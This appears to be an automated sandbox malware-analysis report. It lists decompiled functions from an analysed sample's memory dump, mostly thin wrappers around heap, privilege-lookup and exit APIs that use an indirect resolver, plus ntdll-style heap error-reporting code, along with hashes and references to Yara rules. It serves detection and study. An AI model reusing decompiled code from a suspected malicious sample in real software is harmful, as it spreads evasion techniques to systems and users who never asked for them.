				void* _t15;

				_t3 = _a4 + 0xc74; // 0xc74
				L00418DC0(_t15, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x35);
				_t10 = RtlFreeHeap(_a8, _a12, _a16); // executed
				return _t10;
			}

0x004184df
0x004184e7
0x004184fd
0x00418501

APIs

RtlFreeHeap.NTDLL(00000060,00408AF3,?,?,00408AF3,00000060,00000000,00000000,?,?,00408AF3,?,00000000), ref: 004184FD

Memory Dump Source

Source File: 00000001.00000001.652339293.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction ID: 0c1265b7fbf046cbfd36917309396888787f1b5b9f48543de1c0af89871077f5
Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction Fuzzy Hash: 2EE01AB12002046BD714DF59DC45EA777ACAF88750F014559F90857241CA30E9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 00418490, Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00418490(intOrPtr _a4, void* _a8, long _a12, long _a16) {
				void* _t10;
				void* _t15;

				L00418DC0(_t15, _a4, _a4 + 0xc70,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x34);
				_t10 = RtlAllocateHeap(_a8, _a12, _a16); // executed
				return _t10;
			}

0x004184a7
0x004184bd
0x004184c1

APIs

RtlAllocateHeap.NTDLL(00413516,?,00413C8F,00413C8F,?,00413516,?,?,?,?,?,00000000,00408AF3,?), ref: 004184BD

Memory Dump Source

Source File: 00000001.00000001.652339293.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction ID: d4cd8ba0fc8cb19801f053331f4cf649e26225416c3eadc5d6da7764d9533391
Opcode Fuzzy Hash: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction Fuzzy Hash: 81E012B1200208ABDB14EF99DC41EA777ACAF88654F118559FA085B282CA30F9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 00418630, Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00418630(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, struct _LUID* _a16) {
				int _t10;
				void* _t15;

				L00418DC0(_t15, _a4, _a4 + 0xc8c,  *((intOrPtr*)(_a4 + 0xa18)), 0, 0x46);
				_t10 = LookupPrivilegeValueW(_a8, _a12, _a16); // executed
				return _t10;
			}

0x0041864a
0x00418660
0x00418664

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0040CFA2,0040CFA2,00000041,00000000,?,00408B65), ref: 00418660

Memory Dump Source

Source File: 00000001.00000001.652339293.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction ID: a95af6b202be8dae21372797db95a078404a8f30fafd20f5c772dce95c9aa66f
Opcode Fuzzy Hash: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction Fuzzy Hash: 31E01AB12002086BDB10DF49DC85EE737ADAF89650F018559FA0857241CA34E8108BF5

Uniqueness

Uniqueness Score: -1.00%

Function 00418510, Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00418510(intOrPtr _a4, int _a8) {
				void* _t10;

				_t5 = _a4;
				L00418DC0(_t10, _a4, _a4 + 0xc7c,  *((intOrPtr*)(_t5 + 0xa14)), 0, 0x36);
				ExitProcess(_a8);
			}

0x00418513
0x0041852a
0x00418538

APIs

ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 00418538

Memory Dump Source

Source File: 00000001.00000001.652339293.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction ID: 7205fd5e3e27dabd4e13006f85928de99448ffddaf0958f387cae24292a3a6f6
Opcode Fuzzy Hash: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction Fuzzy Hash: ACD012716003147BD620DF99DC85FD7779CDF49750F018469BA1C5B241C931BA0086E1

Uniqueness

Uniqueness Score: -1.00%

Function 00418505, Relevance: 1.5, APIs: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00418505(int _a4) {
				intOrPtr _v0;
				void* _t12;
				signed int _t13;

				_push(ss);
				 *0x5525049c =  *0x5525049c ^ _t13;
				_t7 = _v0;
				_push(_t13);
				E00418DC0(_t12, _v0, _v0 + 0xc7c,  *((intOrPtr*)(_t7 + 0xa14)), 0, 0x36);
				ExitProcess(_a4);
			}

0x00418505
0x0041850b
0x00418513
0x0041851c
0x0041852a
0x00418538

APIs

ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 00418538

Memory Dump Source

Source File: 00000001.00000002.725915647.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 07e9a4595feff9319ff99bcf8c506e666760eb1bef4ea9de84f467ee7a8a1ae8
Instruction ID: b5a6cc87359c11d11e656366a47ebe0701ecdac285029155797c18cc2b3a30bf
Opcode Fuzzy Hash: 07e9a4595feff9319ff99bcf8c506e666760eb1bef4ea9de84f467ee7a8a1ae8
Instruction Fuzzy Hash: 3FE08C31610300ABC224DF68CC86FC73BA8EB08750F008469B9089B281CA30EA008BE1

Uniqueness

Uniqueness Score: -1.00%

Function 00C2967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C29694

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 92d765e45ef9172e1cb371890a07baa50a885de1fd7e1832217736131eacab25
Instruction ID: a1fc24d8c54534ab95df6faf151f12cee720e17ac1feecf144922d6758bc047a
Opcode Fuzzy Hash: 92d765e45ef9172e1cb371890a07baa50a885de1fd7e1832217736131eacab25
Instruction Fuzzy Hash: 24B09BB19114D5C9DB51D76066087177A50B7D0741F26C071E1130681A4778C595F5B5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00C9B260, Relevance: 37.8, Strings: 30, Instructions: 262COMMON

Download Yara Rule

Strings

write to, xrefs: 00C9B4A6
read from, xrefs: 00C9B4AD, 00C9B4B2
*** then kb to get the faulting stack, xrefs: 00C9B51C
*** Unhandled exception 0x%08lx, hit in %ws:%s, xrefs: 00C9B2DC
This failed because of error %Ix., xrefs: 00C9B446
This means the machine is out of memory. Use !vm to see where all the memory is being used., xrefs: 00C9B484
an invalid address, %p, xrefs: 00C9B4CF
Go determine why that thread has not released the critical section., xrefs: 00C9B3C5
The instruction at %p tried to %s , xrefs: 00C9B4B6
The resource is owned exclusively by thread %p, xrefs: 00C9B374
*** A stack buffer overrun occurred in %ws:%s, xrefs: 00C9B2F3
The resource is owned shared by %d threads, xrefs: 00C9B37E
The resource is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 00C9B38F
This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked., xrefs: 00C9B305
The stack trace should show the guilty function (the function directly above __report_gsfailure)., xrefs: 00C9B323
The critical section is owned by thread %p., xrefs: 00C9B3B9
The critical section is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 00C9B3D6
a NULL pointer, xrefs: 00C9B4E0
This means the data could not be read, typically because of a bad block on the disk. Check your hardware., xrefs: 00C9B47D
*** enter .exr %p for the exception record, xrefs: 00C9B4F1
<unknown>, xrefs: 00C9B27E, 00C9B2D1, 00C9B350, 00C9B399, 00C9B417, 00C9B48E
*** Resource timeout (%p) in %ws:%s, xrefs: 00C9B352
*** Critical Section Timeout (%p) in %ws:%s, xrefs: 00C9B39B
*** enter .cxr %p for the context, xrefs: 00C9B50D
This means that the I/O device reported an I/O error. Check your hardware., xrefs: 00C9B476
If this bug ends up in the shipping product, it could be a severe security hole., xrefs: 00C9B314
*** Restarting wait on critsec or resource at %p (in %ws:%s), xrefs: 00C9B53F
The instruction at %p referenced memory at %p., xrefs: 00C9B432
*** Inpage error in %ws:%s, xrefs: 00C9B418
*** An Access Violation occurred in %ws:%s, xrefs: 00C9B48F

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: *** A stack buffer overrun occurred in %ws:%s$ *** An Access Violation occurred in %ws:%s$ *** Critical Section Timeout (%p) in %ws:%s$ *** Inpage error in %ws:%s$ *** Resource timeout (%p) in %ws:%s$ *** Unhandled exception 0x%08lx, hit in %ws:%s$ *** enter .cxr %p for the context$ *** Restarting wait on critsec or resource at %p (in %ws:%s)$ *** enter .exr %p for the exception record$ *** then kb to get the faulting stack$<unknown>$Go determine why that thread has not released the critical section.$If this bug ends up in the shipping product, it could be a severe security hole.$The critical section is owned by thread %p.$The critical section is unowned. This usually implies a slow-moving machine due to memory pressure$The instruction at %p referenced memory at %p.$The instruction at %p tried to %s $The resource is owned exclusively by thread %p$The resource is owned shared by %d threads$The resource is unowned. This usually implies a slow-moving machine due to memory pressure$The stack trace should show the guilty function (the function directly above __report_gsfailure).$This failed because of error %Ix.$This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.$This means that the I/O device reported an I/O error. Check your hardware.$This means the data could not be read, typically because of a bad block on the disk. Check your hardware.$This means the machine is out of memory. Use !vm to see where all the memory is being used.$a NULL pointer$an invalid address, %p$read from$write to
API String ID: 0-108210295
Opcode ID: d35a4f77bb1b7c28be0bae7f6c2bfe8cd0e9b3edc463652d58e334a53e4413f2
Instruction ID: 6a41cf4dabc083a03bbc9a917e4251f39c3a6984a5b52fa123f06ea40a30d30e
Opcode Fuzzy Hash: d35a4f77bb1b7c28be0bae7f6c2bfe8cd0e9b3edc463652d58e334a53e4413f2
Instruction Fuzzy Hash: 5B811775A40210FFCF25AB05ED4AD6B7B76EF46B52F058085F0082B263E7A18D51E772

Uniqueness

Uniqueness Score: -1.00%

Function 00CA1C06, Relevance: 31.4, Strings: 25, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00CA1C06() {
				signed int _t27;
				char* _t104;
				char* _t105;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr _t117;
				intOrPtr _t119;
				intOrPtr _t120;

				_t105 = 0xbc48a4;
				_t104 = "HEAP: ";
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E00BEB150();
				} else {
					E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push( *0xcd589c);
				E00BEB150("Heap error detected at %p (heap handle %p)\n",  *0xcd58a0);
				_t27 =  *0xcd5898; // 0x0
				if(_t27 <= 0xf) {
					switch( *((intOrPtr*)(_t27 * 4 +  &M00CA1E96))) {
						case 0:
							_t105 = "heap_failure_internal";
							goto L21;
						case 1:
							goto L21;
						case 2:
							goto L21;
						case 3:
							goto L21;
						case 4:
							goto L21;
						case 5:
							goto L21;
						case 6:
							goto L21;
						case 7:
							goto L21;
						case 8:
							goto L21;
						case 9:
							goto L21;
						case 0xa:
							goto L21;
						case 0xb:
							goto L21;
						case 0xc:
							goto L21;
						case 0xd:
							goto L21;
						case 0xe:
							goto L21;
						case 0xf:
							goto L21;
					}
				}
				L21:
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E00BEB150();
				} else {
					E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push(_t105);
				E00BEB150("Error code: %d - %s\n",  *0xcd5898);
				_t113 =  *0xcd58a4; // 0x0
				if(_t113 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E00BEB150();
					} else {
						E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E00BEB150("Parameter1: %p\n",  *0xcd58a4);
				}
				_t115 =  *0xcd58a8; // 0x0
				if(_t115 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E00BEB150();
					} else {
						E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E00BEB150("Parameter2: %p\n",  *0xcd58a8);
				}
				_t117 =  *0xcd58ac; // 0x0
				if(_t117 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E00BEB150();
					} else {
						E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E00BEB150("Parameter3: %p\n",  *0xcd58ac);
				}
				_t119 =  *0xcd58b0; // 0x0
				if(_t119 != 0) {
					L41:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E00BEB150();
					} else {
						E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *0xcd58b4);
					E00BEB150("Last known valid blocks: before - %p, after - %p\n",  *0xcd58b0);
				} else {
					_t120 =  *0xcd58b4; // 0x0
					if(_t120 != 0) {
						goto L41;
					}
				}
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E00BEB150();
				} else {
					E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				return E00BEB150("Stack trace available at %p\n", 0xcd58c0);
			}

0x00ca1c10
0x00ca1c16
0x00ca1c1e
0x00ca1c3d
0x00ca1c3e
0x00ca1c20
0x00ca1c35
0x00ca1c3a
0x00ca1c44
0x00ca1c55
0x00ca1c5a
0x00ca1c65
0x00ca1c67
0x00000000
0x00ca1c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00ca1c67
0x00ca1cdc
0x00ca1ce5
0x00ca1d04
0x00ca1d05
0x00ca1ce7
0x00ca1cfc
0x00ca1d01
0x00ca1d0b
0x00ca1d17
0x00ca1d1f
0x00ca1d25
0x00ca1d30
0x00ca1d4f
0x00ca1d50
0x00ca1d32
0x00ca1d47
0x00ca1d4c
0x00ca1d61
0x00ca1d67
0x00ca1d68
0x00ca1d6e
0x00ca1d79
0x00ca1d98
0x00ca1d99
0x00ca1d7b
0x00ca1d90
0x00ca1d95
0x00ca1daa
0x00ca1db0
0x00ca1db1
0x00ca1db7
0x00ca1dc2
0x00ca1de1
0x00ca1de2
0x00ca1dc4
0x00ca1dd9
0x00ca1dde
0x00ca1df3
0x00ca1df9
0x00ca1dfa
0x00ca1e00
0x00ca1e0a
0x00ca1e13
0x00ca1e32
0x00ca1e33
0x00ca1e15
0x00ca1e2a
0x00ca1e2f
0x00ca1e39
0x00ca1e4a
0x00ca1e02
0x00ca1e02
0x00ca1e08
0x00000000
0x00000000
0x00ca1e08
0x00ca1e5b
0x00ca1e7a
0x00ca1e7b
0x00ca1e5d
0x00ca1e72
0x00ca1e77
0x00ca1e95

Strings

heap_failure_invalid_argument, xrefs: 00CA1CAD
heap_failure_virtual_block_corruption, xrefs: 00CA1C91
heap_failure_generic, xrefs: 00CA1C7C
Parameter3: %p, xrefs: 00CA1DEE
HEAP: , xrefs: 00CA1C16, 00CA1C3D, 00CA1D04, 00CA1D4F, 00CA1D98, 00CA1DE1, 00CA1E32, 00CA1E7A
HEAP[%wZ]: , xrefs: 00CA1C30, 00CA1CF7, 00CA1D42, 00CA1D8B, 00CA1DD4, 00CA1E25, 00CA1E6D
Last known valid blocks: before - %p, after - %p, xrefs: 00CA1E45
Parameter2: %p, xrefs: 00CA1DA5
heap_failure_multiple_entries_corruption, xrefs: 00CA1C8A
heap_failure_buffer_underrun, xrefs: 00CA1C9F
heap_failure_usage_after_free, xrefs: 00CA1CBB
heap_failure_cross_heap_operation, xrefs: 00CA1CC2
heap_failure_lfh_bitmap_mismatch, xrefs: 00CA1CD7
Parameter1: %p, xrefs: 00CA1D5C
Heap error detected at %p (heap handle %p), xrefs: 00CA1C50
heap_failure_listentry_corruption, xrefs: 00CA1CD0
Error code: %d - %s, xrefs: 00CA1D12
heap_failure_entry_corruption, xrefs: 00CA1C83
Stack trace available at %p, xrefs: 00CA1E86
heap_failure_buffer_overrun, xrefs: 00CA1C98
heap_failure_freelists_corruption, xrefs: 00CA1CC9
heap_failure_block_not_busy, xrefs: 00CA1CA6
heap_failure_internal, xrefs: 00CA1C6E
heap_failure_unknown, xrefs: 00CA1C75
heap_failure_invalid_allocation_type, xrefs: 00CA1CB4

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
API String ID: 0-2897834094
Opcode ID: 36f77af8f9879f3aa10596763402af6ce8c91e161723f0d246015fe2ad13af38
Instruction ID: 8b86b1ab45b706ebf2124db77368443610405c70275a98b08b87935a9bdf5d5e
Opcode Fuzzy Hash: 36f77af8f9879f3aa10596763402af6ce8c91e161723f0d246015fe2ad13af38
Instruction Fuzzy Hash: 0461B237962592DFC311AB869895F25B3E4EB05B78F1D80BFF8196F351D720DC409A0A

Uniqueness

Uniqueness Score: -1.00%

Function 00BF3D34, Relevance: 6.7, Strings: 5, Instructions: 435
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00BF3D34(signed int* __ecx) {
				signed int* _v8;
				char _v12;
				signed int* _v16;
				signed int* _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				signed int* _v48;
				signed int* _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				signed int _t140;
				signed int _t161;
				signed int* _t236;
				signed int* _t242;
				signed int* _t243;
				signed int* _t244;
				signed int* _t245;
				signed int _t255;
				void* _t257;
				signed int _t260;
				void* _t262;
				signed int _t264;
				void* _t267;
				signed int _t275;
				signed int* _t276;
				short* _t277;
				signed int* _t278;
				signed int* _t279;
				signed int* _t280;
				short* _t281;
				signed int* _t282;
				short* _t283;
				signed int* _t284;
				void* _t285;

				_v60 = _v60 | 0xffffffff;
				_t280 = 0;
				_t242 = __ecx;
				_v52 = __ecx;
				_v8 = 0;
				_v20 = 0;
				_v40 = 0;
				_v28 = 0;
				_v32 = 0;
				_v44 = 0;
				_v56 = 0;
				_t275 = 0;
				_v16 = 0;
				if(__ecx == 0) {
					_t280 = 0xc000000d;
					_t140 = 0;
					L50:
					 *_t242 =  *_t242 | 0x00000800;
					_t242[0x13] = _t140;
					_t242[0x16] = _v40;
					_t242[0x18] = _v28;
					_t242[0x14] = _v32;
					_t242[0x17] = _t275;
					_t242[0x15] = _v44;
					_t242[0x11] = _v56;
					_t242[0x12] = _v60;
					return _t280;
				}
				if(E00BF1B8F(L"WindowsExcludedProcs",  &_v36,  &_v12,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v8);
					}
					_v8 = _t280;
				}
				if(E00BF1B8F(L"Kernel-MUI-Number-Allowed",  &_v36,  &_v12,  &_v8) >= 0) {
					_v60 =  *_v8;
					L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v8);
					_v8 = _t280;
				}
				if(E00BF1B8F(L"Kernel-MUI-Language-Allowed",  &_v36,  &_v12,  &_v8) < 0) {
					L16:
					if(E00BF1B8F(L"Kernel-MUI-Language-Disallowed",  &_v36,  &_v12,  &_v8) < 0) {
						L28:
						if(E00BF1B8F(L"Kernel-MUI-Language-SKU",  &_v36,  &_v12,  &_v8) < 0) {
							L46:
							_t275 = _v16;
							L47:
							_t161 = 0;
							L48:
							if(_v8 != 0) {
								L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t161, _v8);
							}
							_t140 = _v20;
							if(_t140 != 0) {
								if(_t275 != 0) {
									L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t275);
									_t275 = 0;
									_v28 = 0;
									_t140 = _v20;
								}
							}
							goto L50;
						}
						_t167 = _v12;
						_t255 = _v12 + 4;
						_v44 = _t255;
						if(_t255 == 0) {
							_t276 = _t280;
							_v32 = _t280;
						} else {
							_t276 = L00C04620(_t255,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t255);
							_t167 = _v12;
							_v32 = _t276;
						}
						if(_t276 == 0) {
							_v44 = _t280;
							_t280 = 0xc0000017;
							goto L46;
						} else {
							E00C2F3E0(_t276, _v8, _t167);
							_v48 = _t276;
							_t277 = E00C31370(_t276, 0xbc4e90);
							_pop(_t257);
							if(_t277 == 0) {
								L38:
								_t170 = _v48;
								if( *_v48 != 0) {
									E00C2BB40(0,  &_v68, _t170);
									if(L00BF43C0( &_v68,  &_v24) != 0) {
										_t280 =  &(_t280[0]);
									}
								}
								if(_t280 == 0) {
									_t280 = 0;
									L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v32);
									_v44 = 0;
									_v32 = 0;
								} else {
									_t280 = 0;
								}
								_t174 = _v8;
								if(_v8 != 0) {
									L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t174);
								}
								_v8 = _t280;
								goto L46;
							}
							_t243 = _v48;
							do {
								 *_t277 = 0;
								_t278 = _t277 + 2;
								E00C2BB40(_t257,  &_v68, _t243);
								if(L00BF43C0( &_v68,  &_v24) != 0) {
									_t280 =  &(_t280[0]);
								}
								_t243 = _t278;
								_t277 = E00C31370(_t278, 0xbc4e90);
								_pop(_t257);
							} while (_t277 != 0);
							_v48 = _t243;
							_t242 = _v52;
							goto L38;
						}
					}
					_t191 = _v12;
					_t260 = _v12 + 4;
					_v28 = _t260;
					if(_t260 == 0) {
						_t275 = _t280;
						_v16 = _t280;
					} else {
						_t275 = L00C04620(_t260,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t260);
						_t191 = _v12;
						_v16 = _t275;
					}
					if(_t275 == 0) {
						_v28 = _t280;
						_t280 = 0xc0000017;
						goto L47;
					} else {
						E00C2F3E0(_t275, _v8, _t191);
						_t285 = _t285 + 0xc;
						_v48 = _t275;
						_t279 = _t280;
						_t281 = E00C31370(_v16, 0xbc4e90);
						_pop(_t262);
						if(_t281 != 0) {
							_t244 = _v48;
							do {
								 *_t281 = 0;
								_t282 = _t281 + 2;
								E00C2BB40(_t262,  &_v68, _t244);
								if(L00BF43C0( &_v68,  &_v24) != 0) {
									_t279 =  &(_t279[0]);
								}
								_t244 = _t282;
								_t281 = E00C31370(_t282, 0xbc4e90);
								_pop(_t262);
							} while (_t281 != 0);
							_v48 = _t244;
							_t242 = _v52;
						}
						_t201 = _v48;
						_t280 = 0;
						if( *_v48 != 0) {
							E00C2BB40(_t262,  &_v68, _t201);
							if(L00BF43C0( &_v68,  &_v24) != 0) {
								_t279 =  &(_t279[0]);
							}
						}
						if(_t279 == 0) {
							L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v16);
							_v28 = _t280;
							_v16 = _t280;
						}
						_t202 = _v8;
						if(_v8 != 0) {
							L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t202);
						}
						_v8 = _t280;
						goto L28;
					}
				}
				_t214 = _v12;
				_t264 = _v12 + 4;
				_v40 = _t264;
				if(_t264 == 0) {
					_v20 = _t280;
				} else {
					_t236 = L00C04620(_t264,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t264);
					_t280 = _t236;
					_v20 = _t236;
					_t214 = _v12;
				}
				if(_t280 == 0) {
					_t161 = 0;
					_t280 = 0xc0000017;
					_v40 = 0;
					goto L48;
				} else {
					E00C2F3E0(_t280, _v8, _t214);
					_t285 = _t285 + 0xc;
					_v48 = _t280;
					_t283 = E00C31370(_t280, 0xbc4e90);
					_pop(_t267);
					if(_t283 != 0) {
						_t245 = _v48;
						do {
							 *_t283 = 0;
							_t284 = _t283 + 2;
							E00C2BB40(_t267,  &_v68, _t245);
							if(L00BF43C0( &_v68,  &_v24) != 0) {
								_t275 = _t275 + 1;
							}
							_t245 = _t284;
							_t283 = E00C31370(_t284, 0xbc4e90);
							_pop(_t267);
						} while (_t283 != 0);
						_v48 = _t245;
						_t242 = _v52;
					}
					_t224 = _v48;
					_t280 = 0;
					if( *_v48 != 0) {
						E00C2BB40(_t267,  &_v68, _t224);
						if(L00BF43C0( &_v68,  &_v24) != 0) {
							_t275 = _t275 + 1;
						}
					}
					if(_t275 == 0) {
						L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v20);
						_v40 = _t280;
						_v20 = _t280;
					}
					_t225 = _v8;
					if(_v8 != 0) {
						L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t225);
					}
					_v8 = _t280;
					goto L16;
				}
			}

0x00bf3d3c
0x00bf3d42
0x00bf3d44
0x00bf3d46
0x00bf3d49
0x00bf3d4c
0x00bf3d4f
0x00bf3d52
0x00bf3d55
0x00bf3d58
0x00bf3d5b
0x00bf3d5f
0x00bf3d61
0x00bf3d66
0x00c48213
0x00c48218
0x00bf4085
0x00bf4088
0x00bf408e
0x00bf4094
0x00bf409a
0x00bf40a0
0x00bf40a6
0x00bf40a9
0x00bf40af
0x00bf40b6
0x00bf40bd
0x00bf40bd
0x00bf3d83
0x00c4821f
0x00c48229
0x00c48238
0x00c48238
0x00c4823d
0x00c4823d
0x00bf3da0
0x00bf3daf
0x00bf3db5
0x00bf3dba
0x00bf3dba
0x00bf3dd4
0x00bf3e94
0x00bf3eab
0x00bf3f6d
0x00bf3f84
0x00bf406b
0x00bf406b
0x00bf406e
0x00bf406e
0x00bf4070
0x00bf4074
0x00c48351
0x00c48351
0x00bf407a
0x00bf407f
0x00c4835d
0x00c48370
0x00c48377
0x00c48379
0x00c4837c
0x00c4837c
0x00c4835d
0x00000000
0x00bf407f
0x00bf3f8a
0x00bf3f8d
0x00bf3f90
0x00bf3f95
0x00c4830d
0x00c4830f
0x00bf3f9b
0x00bf3fac
0x00bf3fae
0x00bf3fb1
0x00bf3fb1
0x00bf3fb6
0x00c48317
0x00c4831a
0x00000000
0x00bf3fbc
0x00bf3fc1
0x00bf3fc9
0x00bf3fd7
0x00bf3fda
0x00bf3fdd
0x00bf4021
0x00bf4021
0x00bf4029
0x00bf4030
0x00bf4044
0x00bf4046
0x00bf4046
0x00bf4044
0x00bf4049
0x00c48327
0x00c48334
0x00c48339
0x00c4833c
0x00bf404f
0x00bf404f
0x00bf404f
0x00bf4051
0x00bf4056
0x00bf4063
0x00bf4063
0x00bf4068
0x00000000
0x00bf4068
0x00bf3fdf
0x00bf3fe2
0x00bf3fe4
0x00bf3fe7
0x00bf3fef
0x00bf4003
0x00bf4005
0x00bf4005
0x00bf400c
0x00bf4013
0x00bf4016
0x00bf4017
0x00bf401b
0x00bf401e
0x00000000
0x00bf401e
0x00bf3fb6
0x00bf3eb1
0x00bf3eb4
0x00bf3eb7
0x00bf3ebc
0x00c482a9
0x00c482ab
0x00bf3ec2
0x00bf3ed3
0x00bf3ed5
0x00bf3ed8
0x00bf3ed8
0x00bf3edd
0x00c482b3
0x00c482b6
0x00000000
0x00bf3ee3
0x00bf3ee8
0x00bf3eed
0x00bf3ef0
0x00bf3ef3
0x00bf3f02
0x00bf3f05
0x00bf3f08
0x00c482c0
0x00c482c3
0x00c482c5
0x00c482c8
0x00c482d0
0x00c482e4
0x00c482e6
0x00c482e6
0x00c482ed
0x00c482f4
0x00c482f7
0x00c482f8
0x00c482fc
0x00c482ff
